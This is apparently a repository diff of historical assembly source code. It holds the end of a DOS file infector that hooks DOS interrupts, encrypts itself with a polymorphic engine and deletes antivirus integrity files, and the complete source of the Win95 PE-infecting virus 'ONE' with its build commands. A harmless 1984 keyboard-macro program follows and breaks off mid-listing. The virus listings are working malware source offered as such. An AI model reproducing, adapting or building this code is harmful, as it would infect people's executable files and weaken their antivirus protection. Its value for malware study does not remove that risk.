pop dx cx ; pop date/time
mov ax,5701h ; restore the mother fuckers
int 21h
close:
pop cx ax ; restore attrib
int 21h
mov ah,3eh
int 21h
dont_do:
pop es ; ES=0
lds ax,dword ptr old_24_off ; restore shitty DOS error handler
mov es: [24h*4],ax
mov es: [24h*4+2],ds
ret
do_exe:
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
jnz close
cmp byte ptr exe_header[18h],52h ; pklite'd?
jz exe_ok
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
jge close
exe_ok:
push bx
mov ah,2ch ; grab a random number
int 21h
mov word ptr exe_header[12h],dx ; mark that it's us
mov is_exe,1
les ax,dword ptr exe_header+14h ; Save old entry point
mov word ptr ds: exe_jump, ax
mov word ptr ds: exe_jump+2, es
push cs
pop es
call offset_end
push dx ax ; save file size DX:AX
mov bx, word ptr exe_header+8h ; calc. new entry point
mov cl,4 ; *16
shl bx,cl ; ^by shifting one byte
sub ax,bx ; get actual file size-header
sbb dx,0
mov cx,10h ; divide AX/CX rDX
div cx
mov word ptr exe_header+14h,dx
mov word ptr exe_header+16h,ax
mov rel_off,dx
pop ax ; AX:DX file size
pop dx
pop bx
mov cx,virus_size+10h ; calc. new size
adc ax,cx
mov cl,9 ; calc new alloc (512)
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax ; ax=size+virus
and ah,1
mov word ptr exe_header+4h,dx
mov word ptr exe_header+2h,ax
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor and
push di ; encrypted code (at heap)
mov cx,virus_size ; CX=virus size
mov dx,rel_off ; DX=offset decryptor will run from
mov al,00001110b ; jmps,anti-tbscan,garbage, use CS:
call _vice ; call engine!
pop dx
mov ah,40h
int 21h
call offset_zero
mov cx,18h ; write fiXed header
lea dx,exe_header
mov ah,40h
int 21h
jmp close
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; set file ptr
offset_zero: ; self explanitory
xor al,al
jmp set_fp
offset_end:
mov al,02h
set_fp:
mov ah,42h
xor cx,cx
xor dx,dx
int 21h
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Kill ANTI-VIR.DAT, CHKLIST.MS, CHKLIST.CPS, and Invircible's signature files
;
kill_anti_virus:
push bx
mov ah,1ah ; set DTA
lea dx,ff_info
int 21h
mov cx,16h ; include all attribs
lea dx,inv_spec
mov ah,4eh
int 21h ; findfirst
jnc inv_loop
jmp inv_done
inv_loop:
lea si,f_name
push si
mov dx,si
cmp word ptr [si+4],'V-' ; ANTI-VIR.DAT?
jz is_anti
cmp word ptr [si+8],'SM' ; CHKLIST.MS?
jz is_anti
cmp word ptr [si+8],'PC' ; CHKLIST.CPS?
jz is_anti
cmp f_sizeh,0 ; high word set?
jnz findnext
cmp f_sizel,10000 ; > 10000 bytes?
jg findnext
mov ax,3d00h
int 21h
jc findnext
xchg ax,bx
mov ah,3fh
mov cl,2
lea dx,inv_word
int 21h
mov ah,3eh
int 21h
mov ax,word ptr inv_word
mov cl,4
lea si,false_struct
test_false: ; test for false positives
cmp ax,[si]
jz findnext
inc si
inc si
loop test_false
xor al,ah ; xor first byte by second
lea si,iv_struct
mov cl,6
test_iv: ; test if invircible
cmp al,[si]
jz is_anti
inc si
loop test_iv
jmp findnext
is_anti:
mov ax,4301h ; reset attribs
xor cx,cx
int 21h
mov ah,41h
lea dx,f_name
int 21h
findnext:
mov al,0 ; null out filename
pop di ; di-> fname
mov cl,13
rep stosb
mov ah,4fh
int 21h
jc inv_done
jmp inv_loop
inv_done:
pop bx
ret
inv_word dw 0
inv_spec db '*.*',0
iv_struct db 5Fh,1Bh,0C4h,17h,3Dh,8Ah ; Inv Positives
false_struct dw 'ZM' ; EXE Header
dw 'KP' ; PKZIP archive
dw 0EA60h ; ARJ archive
dw 'ER' ; REM in batch files
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; new 21h
new21:
pushf
cmp ax,signal ; be it us?
jnz nchk ; richtig..
cmp dx,vsafe_word
jnz nchk
xor si,si
mov di,4559h
jmp jmp_org
nchk: cmp ax,4b00h ; execute phile?
jnz jmp_org
push ax bx cx di dx si ds es
call infect_file
pop es ds si dx di cx bx ax
jmp_org:
popf
db 0eah ; jump far XXXX:XXXX
old21 dd 0
new_24: ; critical error handler
mov al,3 ; prompts suck, return fail
iret
credits db 'One/Thirteenth, coded by ûirogen [NuKE]'
new_jmp db 0E9h,0,0,0 ; jmp XXXX,0
rel_off dw 0
exe_header:
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
vend: ; end of virus on disk .. heap
db 16h dup(0) ; remaining exe header space
old_24_off dw 0 ; old int24h vector
old_24_seg dw 0
ff_info db 26 dup(0)
f_sizel dw 0
f_sizeh dw 0
f_name db 13 dup(0)
cseg ends
end start
+701
View File
@@ -0,0 +1,701 @@
; ONE V1.0b By JFK/SGWW
;
;
; ONE is not only my first Win95 virus, but also my first virus
; which I have released. I'm not really all that proud of it,
; cause it didn't turn out at all to be what I had expected. But hey,
; maybe next time :) Hmmm, this virus really has no chance of
; spreading because it never moves out of its current directory.
; It's more or less just a learning experience.
;
; Features:
; * File Mapping (though it's sorta pointless because off all
; the normal reads)
; * Capable of infecting read only files.
; * Only increases a files size if it has to.
; * LOTS O' COMMENTS!!!! :-)
;
; Description:
; One will look in the current directory for *.exe files until
; it finds one that it should/can infect or until there are no
; more exe files. When a exe file is found, One reads in the PE
; header, and object table. One closes the file and looks for
; the next exe file if it determines the current file has already
; been infected. If the file has not been infected, One figures
; out all the new sizes of objects and stuff like that for the
; host. One then maps the file to memory, fills in the new PE
; header, object table, and appends the virus code to the end of
; the last object. One then unmaps the file, and closes it which
; automatically saves the changes made while mapped. One then
; starts all over looking for more *.exe files, if one is not found,
; control is given to the host's original entry point.
;
; Notes:
; * ONE will NOT work on WinNT
; * First generations crash. (because OldEA is 0)
; * Some code was taken from Mr. Klunky by DV8 and Yurn by Virogen.
;
; Greetz:
; Dakota: Your web page looks pretty nice!
; #virus & #vir (undernet): hiya :)
; SGWW: Thanx for accepting me as one of you.
; paw: Watch out pal, I've been practicing my trivia!
; RAiD: alt.comp.virus.raid-vs-avers??? :)
; Yesna: Did you forget your password on X? You never have ops! =)
; Opic: Did you find any good BBS's yet!?!? heheh
; LovinGod: You need a book on winsock bro! ;)
; Virogen: Ok, so this is not exactly the kernel infector I was talking about.
; Gloomy: ne ebi mozgi! :))))
;
; Assemble with:
; tasm32 -ml -m5 -q -zn one.asm
; tlink32 -Tpe -c -x -aa one,,, import32
; pewrsec one.exe
.386p
.model flat
include Win32API.inc
v_size equ v_end - v_start ;Virus absolute size in filez.
extrn ExitProcess :proc
.data
db ? ;Some dummy data so tlink32 dont yell.
.code
v_start:
push eax ;Save room for old Entry Point.
pushad ;Save registers.
add esp, 36d ;ESP->After saved registers+4.
call OldTrick ;Get delta offset.
OldTrick: pop ebp
sub ebp, offset OldTrick ;EBP = delta offset.
mov eax, [ebp+OldEA] ;Address for return.
push eax ;Save it.
sub esp, 32d ;Fix stack.
mov eax, 15d
mov [ebp+lpfGetProcAddress], eax
findK32PEHeader:
mov edi, 0BFF6FFFFh ;Will be inc'ed later
mov ecx, 00000300h ;Scan this many bytes.
mov eax, 00004550h ;Scan for "PE\0\0".
F_PE_I_Edi:
inc edi
Find_PE:
repne scasb ;Repeat while not equal, scan byte.
jne RestoreHost ;Bomb if not found.
cmp [edi-1], eax ;Is this dword "PE/0/0"?
jne Find_PE ;Nope, continue scanning.
dec edi ;EDI was +1 off from Repne Scasb
mov bx, word ptr [edi+16h] ;Get characteristics word.
and bx, 0F000h ;Unmask the bytes we need.
cmp bx, 2000h ;Is it 2000h (a DLL)?
jne F_PE_I_Edi ;It's not a Dll, so it cant be the Kernel.
mov eax, [edi+34h] ;EAX = Image Base (or Image Handle)
mov [ebp+K32Base], eax ;Save Image base.
mov ebx, [edi+78h] ;Get RVA of Export Table.
add ebx, [ebp+K32Base] ;Add Base Address.
mov edi, [ebx+20h] ;EDI=RVA Export Name Table Pointers.
add edi, [ebp+K32Base] ;Add Base Address.
;Determine offset for unnamed functions.
mov ecx, [ebx+14h] ;Number of functions...
sub ecx, [ebx+18h] ;...less number of names...
mov eax, 4 ;...times by four.
mul ecx ;Do it.
mov [ebp+UnnamedOffset], eax ;Save it.
;Calculate number of double words in string pointer array.
mov ecx, [ebx+18h] ;Number of names...
mov eax, 4 ;...times by four.
mul ecx ;Do it.
xchg ecx, eax ;CX=Num dwords.
mov edx, edi ;Mul fucked up EDX,EDX=start of array.
CheckFunctionName:
sub ecx, 4 ;Next name.
mov edi, edx ;Base address...
add edi, ecx ;...plus array index.
mov edi, [edi] ;Get RVA of name.
add edi, [ebp+K32Base] ;Add base address.
lea esi, [ebp+lpfGetProcAddress] ;GetProcAddress record.
lea eax, [ebp+lpfGetProcAddress] ;Save entry point here.
call ExtractAbsoluteAddress ;Check this name for it.
cmp ecx, 0 ;Checked all the names?
jne CheckFunctionName ;Nope. Check the next name.
cmp [ebp+lpfGetProcAddress], 00h ;Did we get it?
je RestoreHost ;Nope! :(
;Get all of our needed API offsets from memory.
lea esi, [ebp+ImportTable] ;Start of stucture for offsets.
mov edx, esi ;Same.
GFO_NextChar:
mov bl, [edx] ;bl = next char in table.
cmp bl, 0 ;Is it 0?
je GFO_ItsZero ;Yeah.
cmp bl, '-' ;Is it the end of the table?
je After_GFO ;Yeah, continue.
inc edx ;Next char.
jmp GFO_NextChar ;Loop.
GFO_ItsZero:
inc edx ;EDX -> where offset will go.
mov eax, esi ;EAX -> function name.
push edx ;Save EDX.
call MyGetProcAddress ;Get this function's offset.
jc RestoreHost ;Quit on fail.
pop edx ;Restore EDX.
mov [edx], eax ;Save offset.
add edx, 4 ;EDX -> next functions name.
mov bl, [edx] ;BL = first char of name.
cmp bl, '-' ;Are we done yet?
je After_GFO ;Yep.
mov esi, edx ;ESI -> Next functions name.
inc edx ;Check next char.
jmp GFO_NextChar ;Do it.
After_GFO:
;Look for FIRST *.exe file.
lea eax, [ebp+FoundFileData] ;Where to store results.
push eax
lea eax, [ebp+lpsExeFiles] ;Name of files to look for.
push eax
call [ebp+lpfFindFirstFileA] ;Direct API call.
;On return, if a file with the name is found, eax = the handle,
;otherwise eax=FFFFFFFF
cmp eax, 0FFFFFFFFh ;No file found?
je RestoreHost ;No more exe files in this folder.
mov [ebp+FoundFileHandle], eax ;Save handle.
MainLoop:
call ReadInPEHeader ;Read in the files PE header.
cmp ebx, 0 ;Did we fail?
je FindNextFile ;Next file on failure.
call SetNOAttribs ;Remove files attributes.
jc FindNextFile ;Couldnt set attributes.
call OpenFile ;Open the file.
jc FindNextFile ;Couldnt open file.
call MapFile ;Map this file into memory
jc MapFailed ;Couldn't map file.
call InfectFile ;Infect it.
push dword ptr [ebp+MapBaseAddr]
call [ebp+lpfUnmapViewOfFile] ;Unmap this file from memory.
MapFailed:
call CloseFile ;Close the file.
call RestoreAttribs ;Restore the original attributes.
FindNextFile:
lea eax, [ebp+FoundFileData] ;Where to store results.
push eax
push dword ptr [ebp + offset FoundFileHandle]
;Handle from previous searches.
call [ebp+lpfFindNextFileA] ;Do it.
or eax, eax ;Success?
jnz MainLoop ;Yes, Continue search.
RestoreHost:
popad
ret
;***********************
;****** Functions ******
;***********************
;**** InfectFile ****
InfectFile PROC
;Append virus code to end of last object.
mov edx, [ebp+OldPhysSize] ;Physical size of object.
add edx, [esi+20d] ;Physical offset of object.
add edx, [ebp+MapBaseAddr] ;Plus of mapped object.
lea eax, v_start ;EAX = start of virus.
add eax, ebp ;Plus delta offset.
mov ecx, v_size ;Number of bytes to write.
call WriteMem ;write it.
;Write new object table to host.
mov eax, [ebp+MapBaseAddr] ;EAX -> base of mapped object.
add eax, 3Ch ;Offset of -> to PE header.
mov eax, [eax] ;EAX -> PE header
add eax, [ebp+MapBaseAddr] ;Add base of mapped object.
add eax, 18h ;EAX -> AFTER flags field.
xor edx, edx ;EDX = 0h
mov dx, [ebp+NT_HDR_Size] ;EDX = Size of header.
add edx, eax
lea eax, ObjectTable ;EAX -> new object table.
add eax, ebp ;Add delta offset.
mov ecx, 240d ;Size of new object table.
call WriteMem ;Write it.
;Write new PE header to host.
mov edx, [ebp+MapBaseAddr] ;EDX -> base of mapped object.
add edx, 3Ch ;Offset of -> to PE header.
mov edx, [edx] ;EDX -> PE header
add edx, [ebp+MapBaseAddr] ;Add base of mapped object.
lea eax, PE_Header ;EAX = offset of new PE header.
add eax, ebp ;Plus delta offset.
mov ecx, 54h ;Size of new PE header.
call WriteMem ;Write it.
ret
InfectFile ENDP
;**** WriteMem ****
WriteMem PROC
WM_NextByte:
mov bl, [eax] ;Byte from virus.
mov [edx], bl ;Write to host.
dec ecx ;One less byte to write.
inc eax ;Next virus byte.
inc edx ;Next target byte.
cmp ecx, 0 ;Did we write the whole virus?
jne WM_NextByte ;Nope, do next byte.
ret
WriteMem ENDP
;**** ReadInPEHeader ****
ReadInPEHeader PROC
call SetNOAttribs ;Needed for OpenFile.
jc RIPH_Failed ;Couldnt remove attributes.
call OpenFile ;Open the file.
jc RIPH_Failed ;Couldnt open this file.
;Move file pointer to where the offset to PE should be.
push 0 ;FILE_BEGIN = 00000000h
push 0 ;High order 32 bits to move.
mov eax, 3Ch ;-> offset of PE header.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
call [ebp+lpfSetFilePointer] ;Set the file pointer.
;Read in offset of PE header in file.
push 0
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
push eax
push 4 ;# of bytes to read.
lea eax, [ebp+DataFromFile] ;Buffer for read.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to read from.
call [ebp+lpfReadFile] ;Read from file.
;Move the file pointer to the PE header.
push 0 ;FILE_BEGIN = 00000000h
push 0 ;High order 32 bits of move.
mov eax, [ebp+DataFromFile] ;Offset of PE header.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
call [ebp+lpfSetFilePointer] ;Set the file pointer.
;Read in the PE header.
push 0
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
push eax
push 54h ;# of bytes to read.
lea eax, [ebp+PE_Header] ;Buffer for read.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to read from.
call [ebp+lpfReadFile] ;Read from file.
;Do some checks.
mov eax, [ebp+FileBytesRead] ;# of bytes read.
cmp eax, 54h ;Did we read in enough?
jne RIPH_Failed ;Nope.
mov eax, [ebp+Reserved9] ;EAX = infection marker.
cmp eax, 0h ;Is it infected already?
jne RIPH_Failed ;Yes.
mov ax, word ptr [ebp+Sig_Bytes] ;PE signature.
cmp ax, 'EP' ;Is this a PE file?
jne RIPH_Failed ;Nope.
mov ax, [ebp+NumbOfObjects] ;Number of objects in file.
cmp ax, 6 ;Too many objects?
ja RIPH_Failed ;Yep
;Move file pointer to object table in file.
push 0 ;FILE_BEGIN = 00000000h
push 0 ;High order 32 bits of move.
xor eax, eax
mov ax, [ebp+NT_HDR_Size] ;NT header size.
add eax, [ebp+DataFromFile] ;Plus offset to PE header.
add eax, 18h ;AFTER flags field in header.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
call [ebp+lpfSetFilePointer] ;Set the file pointer.
;Read in object table.
push 0
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
push eax
push 240d ;# of bytes to read.
lea eax, [ebp+ObjectTable] ;Buffer for read.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to read from.
call [ebp+lpfReadFile] ;Read from file.
;Do some checks.
mov eax, [ebp+FileBytesRead] ;# of bytes read.
cmp eax, 240d ;Did we read enough?
jne RIPH_Failed ;Nope.
;Save Original entry point.
mov eax, [ebp+ImageBase] ;Files base address
add eax, [ebp+EntryPointRVA] ;Plus entrypoint RVA.
mov [ebp+OldEA], eax ;Save it.
;** Figure out sizes for object and size of file **
;Get offset to DATA of the object we will infect.
xor eax, eax
mov ax, [ebp+NumbOfObjects] ;Number of objects.
dec eax ;We want last object.
mov ecx, 40 ;Each object 40 bytes
xor edx, edx
mul ecx ;#OfObj-1*40=last object.
lea esi, [ebp+ObjectTable] ;ESI -> object table.
add esi, eax ;ESI = ptr to last Object Entry.
;Set new physical size for object.
mov ecx, dword ptr [ebp+FileAlign] ;Get file alignment.
mov eax, [esi+16d] ;Get physical size of object.
mov [ebp+OldPhysSize], eax ;Save it.
push eax ;Save for figuring new entry point.
add eax, v_size ;Size of virus.
call AlignFix ;Figure new size.
mov dword ptr [esi+16d], eax ;Set new physical size.
;Set new virtual size for object.
mov ecx, dword ptr [ebp+ObjectAlign] ;Get object alignment.
push ecx ;Save for below.
mov eax, [esi+8] ;Get object virtual size.
add eax, v_size ;Add our virtual size.
call AlignFix ;Set on obj alignment.
mov dword ptr [esi+8], eax ;Set new virtual size.
mov [esi+36d], 0C0000040h ; set object flags
;Set new image size.
pop ecx ;ECX = object alignment vlaue.
mov eax, v_size ;EAX = size of virus.
add eax, dword ptr [ebp+ImageSize] ;add to old image size
call AlignFix ;Figure new size.
mov [ebp+ImageSize], eax ;Set new ImageSize.
;Set new entrypoint.
pop eax ;EAX = physical size of infected object.
add eax, [esi+12d] ;Add objects RVA.
mov [ebp+EntryPointRVA], eax ;Set new entrypoint.
;** Figure new physical size for mapping. **
;Get files size.
push 0
push dword ptr [ebp+OpenFileHandle] ;Handle of file.
call [ebp+lpfGetFileSize] ;Get the files size in bytes.
mov [ebp+SizeOfHost], eax ;Save size.
mov [ebp+Reserved9], eax ;Mark as infected.
;Figure new size.
mov ebx, [esi+16d] ;Object physical size.
add ebx, [esi+20d] ;Add physical offset of object.
cmp ebx, eax ;Which is larger?
ja RIPH_NewSize ;File size should be larger.
jmp RIPH_Done ;Return success.
RIPH_NewSize:
mov ecx, [ebp+FileAlign] ;File align value
mov eax, ebx ;Size now.
call AlignFix ;Figure new size.
mov [ebp+SizeOfHost], eax ;Save new size.
jmp RIPH_Done
RIPH_Failed:
xor ebx, ebx ;Mark failure.
RIPH_Done:
call CloseFile ;Close the file.
call RestoreAttribs ;Restore its attributes.
ret
ReadInPEHeader ENDP
;**** SetNOAttribs ****
;This function first saves a files attributes to OrigFileAttribs,
;then sets the files attributes to "normal" so that the file can
;be written to. On errors, the carry flag is set.
SetNOAttribs PROC
;Get the files attributes.
lea eax, [ebp+FoundFileData.WFD_szFileName]
push eax ;Push found files name.
call [ebp+lpfGetFileAttributesA]
mov [ebp+OrigFileAttribs], eax ;Save original file attribs.
;Set file attributes to none so we can write to it if needed.
mov eax, FILE_ATTRIBUTE_NORMAL ;Give the file "normal" attribs
push eax
lea eax, [ebp+FoundFileData.WFD_szFileName]
push eax ;Push files name to stack.
call [ebp+lpfSetFileAttributesA] ;Set the attributes.
ret
SetNOAttribs ENDP
;**** MapFile ****
;This proc gets a files(file in FileFoundData) size, creates a mapped
;object of the size needed, then maps the file into the object created.
;Carry flag is set on errors.
MapFile PROC
;Create File mapping object.
push 0 ;Dont need a name.
mov eax, [ebp+SizeOfHost] ;Size of object.
push eax
push 0 ;Not used.
push PAGE_READWRITE ;We need read+write access.
push 0 ;Default security.
push dword ptr [ebp+OpenFileHandle] ;OPEN file handle.
call [ebp+lpfCreateFileMappingA] ;Create the mapped object.
cmp eax, 0 ;Did we fail?
je OF_Failed ;Yep.
mov [ebp+MappedObjectHandle], eax ;Save handle to mapped object.
;Map file into object.
push 0 ;Map WHOLE file.
;Offsets are not needed cause we're gonna start mapping at the
;beginning of the file.
push 0 ;Low order 32 bits of offset.
push 0 ;High order 32 bits of offset.
push FILE_MAP_WRITE ;We need Read+Write access.
push eax ;Handle of mapping object.
call [ebp+lpfMapViewOfFile] ;Map the file
;Dont ask me why, but this returns some fucked up handle
;to memory that doesnt appear to exist, and the file doesnt
;seem to be read into memory until this memory is actually
;accessed(which magically does NOT cause a page fault)!
;weird! (I could be wrong, maybe just my debugger...)
mov [ebp+MapBaseAddr], eax ;Save base Address.
cmp eax, 0 ;Did we fail?
jne MP_Success ;We succeeded
stc
MP_Success:
ret
MapFile ENDP
;**** RestoreAttribs ****
;This proc restores the attributes of the file pointed to by
;FoundFileData. CarryFlag is NOT set on errors.
RestoreAttribs PROC
;Restore file attributes.
mov eax, [ebp+OrigFileAttribs] ;The files original attribs
push eax
lea eax, [ebp+FoundFileData.WFD_szFileName]
push eax ;Push found files name.
call [ebp+lpfSetFileAttributesA] ;Set the attributes.
ret
RestoreAttribs ENDP
;**** OpenFile ****
;This proc just opens the file pointed to in FoundFileData.
;If successful, the OPEN files handle is put into OpenFileHandle.
;If errors happen, the carry flag is set.
OpenFile PROC
;Open the file.
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push 0 ;0=Request exclusive access
push GENERIC_READ + GENERIC_WRITE
lea eax, [ebp+FoundFileData.WFD_szFileName]
push eax ;Push files name on stack.
call [ebp+lpfCreateFileA] ;Open file.
cmp eax, 0FFFFFFFFh ;Did we fail?
je OF_Failed ;Jeah, we failed. (SETS CARRY)
mov [ebp+OpenFileHandle], eax ;Save handle of OPEN file.
clc ;Clear carry flag (no errors)
ret
OF_Failed:
stc ;Set carry flag.
ret
OpenFile ENDP
;**** CloseFile ****
;This proc just closes the file pointed to by OpenFileHandle.
;Carry flag is NOT set if errors occur.(what for?)
CloseFile PROC
;Close the file.
push dword ptr [ebp+OpenFileHandle] ;Handle of opened file.
call [ebp+lpfCloseHandle] ;Close it
ret
CloseFile ENDP
;**** AlignFix ****
AlignFix PROC
xor edx, edx
div ecx ;/alignment
inc eax ;next alignment
mul ecx ;*alignment
ret
AlignFix ENDP
;**** ExtractAbsoluteAddress ****
ExtractAbsoluteAddress PROC
pushad ;Save everything.
mov ecx, [esi] ;Get string length.
add esi, 4 ;Point to string
rep cmpsb ;Check the string.
popad ;Restore everything.
jne EAA_NotString ;This isn't the string - exit.
xchg esi, eax ;ESI = dword for address.
mov eax, [ebx+1Ch] ;RVA of Function Address array.
add eax, [ebp+UnnamedOffset] ;Plus unused function names.
add eax, [ebp+K32Base] ;Plus DLL load address.
add eax, ecx ;Plus array offset.
mov eax, [eax] ;Get the address.
add eax, [ebp+K32Base] ;Plus DLL load address.
mov [esi], eax ;Save the address.
EAA_NotString:
ret
ExtractAbsoluteAddress ENDP
;**** MyGetProcAddress ****
MyGetProcAddress PROC
push eax ;lpProcName.
mov eax, [ebp+ModHandle] ;< hModule.
push eax ;<
call [ebp+lpfGetProcAddress] ;Call GetProcAddress directly.
cmp eax, 0 ;EAX = 0?
jne MyGetProcDone ;Nope, success.
stc ;Failure.
MyGetProcDone:
ret
MyGetProcAddress ENDP
; ****** DATA ******
K32Base dd 0 ;Start of K32 in memory.
UnnamedOffset dd 0
ModHandle dd 0BFF70000h ;Used with calls to MyGetProcAddr.
lpfGetProcAddress dd 15d ;Crap for finding GetProcAddress.
db "GetProcAddress",0
FoundFileData WIN32_FIND_DATA ? ;Crap used for finding files.
lpsExeFiles db '*.exe',0
OldEA dd 0 ;Original Entry Point(NOT RVA)
OldPhysSize dd 0 ;Old physical size of last object.
FoundFileHandle dd 0 ;Spot for handle of found files.
OpenFileHandle dd 0 ;Spot for handle of open files.
MappedObjectHandle dd 0 ;Handle of mapped object.
OrigFileAttribs dd 0 ;Spot for file attributes.
DataFromFile dd 0 ;Data read from file.
FileBytesRead dd 0 ;Number of bytes read.
MapBaseAddr dd 0 ;Base address of mapped object.
SizeOfHost dd 0 ;Size needed for mapped object.
PE_Header: ;Buffer for PE header.
Sig_Bytes: dd 0
CPU_Type: dw 0
NumbOfObjects dw 0
TimeStamp dd 0
Reserved1 dd 0
Reserved2 dd 0
NT_HDR_Size dw 0
Flags dw 0
Reserved3 dw 0
LMajor db 0
LMinor db 0
Reserved4 dd 0
Reserved5 dd 0
Reserved6 dd 0
EntryPointRVA dd 0
Reserved7 dd 0
Reserved8 dd 0
ImageBase dd 0
ObjectAlign dd 0
FileAlign dd 0
OS_Major dw 0
OS_Minor dw 0
UserMajor dw 0
UserMinor dw 0
SubSysMajor dw 0
SubSysMinor dw 0
Reserved9 dd 0
ImageSize dd 0 ;54h bytes.
ObjectTable: db 240d dup (0) ;Room for 6 object entries.
ImportTable: ; :-)
db 'FindFirstFileA',0
lpfFindFirstFileA dd 0
db 'FindNextFileA',0
lpfFindNextFileA dd 0
db 'GetFileAttributesA',0
lpfGetFileAttributesA dd 0
db 'SetFileAttributesA',0
lpfSetFileAttributesA dd 0
db 'CreateFileA',0
lpfCreateFileA dd 0
db 'SetFilePointer',0
lpfSetFilePointer dd 0
db 'ReadFile',0
lpfReadFile dd 0
db 'GetFileSize',0
lpfGetFileSize dd 0
db 'CreateFileMappingA',0
lpfCreateFileMappingA dd 0
db 'MapViewOfFile',0
lpfMapViewOfFile dd 0
db 'UnmapViewOfFile',0
lpfUnmapViewOfFile dd 0
db 'CloseHandle',0
lpfCloseHandle dd 0
lpsSig db '-=[ONE V1.0b by JFK/SGWW]=-'
v_end:
end v_start
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,202 @@
VECTORS SEGMENT AT 0H ;Set up segment to intercept Interrupts
ORG 9H*4 ;The keyboard Interrupt
KEYBOARD_INT_VECTOR LABEL DWORD
ORG 1CH*4 ;Timer Interrupt
TIMER_VECTOR LABEL DWORD
VECTORS ENDS
ROM_BIOS_DATA SEGMENT AT 40H ;The ROM BIOS data area in low memory
ORG 1AH ;This is where the keyboard buffer is.
ROM_BUFFER_HEAD DW ? ;The position of the buffer's head
ROM_BUFFER_TAIL DW ? ;And tail.
KB_BUFFER DW 16 DUP (?) ;Reserve space for the buffer itself
KB_BUFFER_END LABEL WORD ;Buffer's end is stored here.
ROM_BIOS_DATA ENDS
CODE_SEG SEGMENT ;Begin the Code segment holding the programs
ASSUME CS:CODE_SEG
ORG 100H ;Com files start at ORG 100H
BEGIN: JMP INIT_VECTORS ;Skip over data area
COPY_RIGHT DB '(C) 1984 S. Holzner' ;The Author's signature
KEYS DW 30 DUP(0) ;The keys we replace
FINISHED_FLAG DB 1 ;If not finished, timer will stuff buffer
COMMANDS DW 1530 DUP(0) ;Scan and ASCII codes of commands
COMMAND_INDEX DW 1 ;Stores position in command (for timer)
ROM_KEYBOARD_INT DD 1 ;Called to interpret keyboard signals
ROM_TIMER DD 1 ;The Timer interrupt's address
INTERCEPT_KEYBOARD_INT PROC NEAR ;Here it is.
ASSUME DS:NOTHING ;Free DS
PUSH DS ;Save all used registers
PUSH SI
PUSH DI
PUSH DX
PUSH CX
PUSH BX
PUSH AX
PUSHF ;Pushf for Keyboard Int's IRET
CALL ROM_KEYBOARD_INT ;Have new key put into keyboard buffer
ASSUME DS:ROM_BIOS_DATA ;Set up to point at keyboard buffer.
MOV AX,ROM_BIOS_DATA
MOV DS,AX
MOV BX,ROM_BUFFER_TAIL ;Was there a character? If Tail equals
CMP BX,ROM_BUFFER_HEAD ; Head then no real character typed.
JNE NEWCHAR
JMP NO_NEW_CHARACTERS ;Jump out, no new characters.
NEWCHAR:SUB BX,2 ;Move back two bytes from tail;
CMP BX,OFFSET KB_BUFFER ;Do we have to wrap?
JAE NO_WRAP ;No
MOV BX,OFFSET KB_BUFFER_END ;Wrap by moving two bytes
SUB BX,2 ; before buffer end.
NO_WRAP:MOV AX,[BX] ;Get the character into AX
CMP FINISHED_FLAG,1 ;Done stuffing the buffer with last command?
JE FIN ;Yes, proceed
JMP NO_NEW_CHARACTERS ;No, leave.
FIN: MOV FINISHED_FLAG,1 ;Assume we'll finish
LEA SI,KEYS ;Point source index at keys to replace
MOV CX,30 ;Loop over all of them
LOOPER: CMP AX,CS:[SI] ;Match to given key (in AX)?
JE FOUND ;Yes, key found, continue on.
ADD SI,2 ;Point to next key to check it.
LOOP LOOPER ;Go back for next one.
JMP NO_NEW_CHARACTERS ;Loop finished without match - leave.
FOUND: CLI ;Turn off hardware (timer, keyboard) Interrupts
LEA SI,COMMANDS ;Set up to read command
NEG CX ;Find the location of first word of command
ADD CX,30
MOV AX,CX
MOV CX,102
MUL CL
ADD SI,AX
MOV COMMAND_INDEX,SI ;And move it into Command_Index
STUFF: MOV AX,CS:[SI] ;Here we go - get ready to stuff word in buffer.
ADD SI,2 ;Point to the command's next character
CMP AX,0 ;Is it a zero? (End of command)
JE NO_NEW_CHARACTERS ;Yes, leave with Finished_Flag=1
MOV DX,BX ;Find position in buffer from BX
ADD DX,2 ;Move to next position for this word
CMP DX,OFFSET KB_BUFFER_END ;Are we past the end?
JL NO_WRAP2 ;No, don't wrap
MOV DX,OFFSET KB_BUFFER ;Wrap
NO_WRAP2:
CMP DX,ROM_BUFFER_HEAD ;Buffer full but not yet done?
JE BUFFER_FULL ;Time to leave, set Finished_Flag=0.
ADD COMMAND_INDEX,2 ;Move to next word in command
MOV [BX],AX ;Put it into the buffer right here.
ADD BX,2 ;Point to next space in buffer
CMP BX,OFFSET KB_BUFFER_END ;Wrap here?
JL NO_WRAP3 ;No, readjust buffer tail
MOV BX,OFFSET KB_BUFFER ;Yes, wrap
NO_WRAP3:
MOV ROM_BUFFER_TAIL,BX ;Reset buffer tail
JMP STUFF ;Back to stuff in another character.
BUFFER_FULL: ;If buffer is full, let timer take over
